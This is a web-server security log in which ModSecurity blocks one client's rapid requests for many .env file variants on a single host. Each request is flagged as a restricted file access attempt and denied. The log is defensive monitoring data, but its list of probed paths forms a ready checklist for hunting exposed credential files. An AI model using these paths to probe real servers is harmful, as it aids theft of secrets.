[Mon Oct 26 22:24:42.516891 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auALakr8KB7FmjwQ4kVzmgAAAAg"]
[Mon Oct 26 22:24:42.619445 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auALakr8KB7FmjwQ4kVzmwAAAAg"]
[Mon Oct 26 22:24:42.619690 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auALakr8KB7FmjwQ4kVzmwAAAAg"]
[Mon Oct 26 22:24:42.619982 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auALakr8KB7FmjwQ4kVzmwAAAAg"]
[Mon Oct 26 22:24:42.770449 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auALakr8KB7FmjwQ4kVznAAAAAg"]
[Mon Oct 26 22:24:42.770702 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auALakr8KB7FmjwQ4kVznAAAAAg"]
[Mon Oct 26 22:24:42.771024 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auALakr8KB7FmjwQ4kVznAAAAAg"]
[Mon Oct 26 22:24:42.882573 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auALakr8KB7FmjwQ4kVznQAAAAg"]
[Mon Oct 26 22:24:42.882824 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auALakr8KB7FmjwQ4kVznQAAAAg"]
[Mon Oct 26 22:24:42.883138 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auALakr8KB7FmjwQ4kVznQAAAAg"]
[Mon Oct 26 22:24:42.987804 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auALakr8KB7FmjwQ4kVzngAAAAg"]
[Mon Oct 26 22:24:42.988151 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auALakr8KB7FmjwQ4kVzngAAAAg"]
[Mon Oct 26 22:24:42.988500 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auALakr8KB7FmjwQ4kVzngAAAAg"]
[Mon Oct 26 22:24:43.153070 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auALa0r8KB7FmjwQ4kVznwAAAAg"]
[Mon Oct 26 22:24:43.153346 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auALa0r8KB7FmjwQ4kVznwAAAAg"]
[Mon Oct 26 22:24:43.153705 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auALa0r8KB7FmjwQ4kVznwAAAAg"]
[Mon Oct 26 22:24:43.287341 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auALa0r8KB7FmjwQ4kVzoAAAAAg"]
[Mon Oct 26 22:24:43.287629 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auALa0r8KB7FmjwQ4kVzoAAAAAg"]
[Mon Oct 26 22:24:43.287951 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auALa0r8KB7FmjwQ4kVzoAAAAAg"]
[Mon Oct 26 22:24:43.399846 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auALa0r8KB7FmjwQ4kVzoQAAAAg"]
[Mon Oct 26 22:24:43.400158 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auALa0r8KB7FmjwQ4kVzoQAAAAg"]
[Mon Oct 26 22:24:43.400502 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auALa0r8KB7FmjwQ4kVzoQAAAAg"]
[Mon Oct 26 22:24:43.591790 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auALa0r8KB7FmjwQ4kVzogAAAAg"]
[Mon Oct 26 22:24:43.592057 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auALa0r8KB7FmjwQ4kVzogAAAAg"]
[Mon Oct 26 22:24:43.592397 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auALa0r8KB7FmjwQ4kVzogAAAAg"]
[Mon Oct 26 22:24:43.691537 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auALa0r8KB7FmjwQ4kVzowAAAAg"]
[Mon Oct 26 22:24:43.691777 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auALa0r8KB7FmjwQ4kVzowAAAAg"]
[Mon Oct 26 22:24:43.692133 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auALa0r8KB7FmjwQ4kVzowAAAAg"]
[Mon Oct 26 22:24:43.877889 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auALa0r8KB7FmjwQ4kVzpAAAAAg"]
[Mon Oct 26 22:24:43.878130 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auALa0r8KB7FmjwQ4kVzpAAAAAg"]
[Mon Oct 26 22:24:43.878468 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auALa0r8KB7FmjwQ4kVzpAAAAAg"]
[Mon Oct 26 22:24:44.010781 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auALbEr8KB7FmjwQ4kVzpQAAAAg"]
[Mon Oct 26 22:24:44.011204 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auALbEr8KB7FmjwQ4kVzpQAAAAg"]
[Mon Oct 26 22:24:44.011567 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auALbEr8KB7FmjwQ4kVzpQAAAAg"]
[Mon Oct 26 22:24:44.141083 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auALbEr8KB7FmjwQ4kVzpgAAAAg"]
[Mon Oct 26 22:24:44.141325 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auALbEr8KB7FmjwQ4kVzpgAAAAg"]
[Mon Oct 26 22:24:44.141611 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auALbEr8KB7FmjwQ4kVzpgAAAAg"]
[Mon Oct 26 22:24:44.254641 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auALbEr8KB7FmjwQ4kVzpwAAAAg"]
[Mon Oct 26 22:24:44.254937 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auALbEr8KB7FmjwQ4kVzpwAAAAg"]
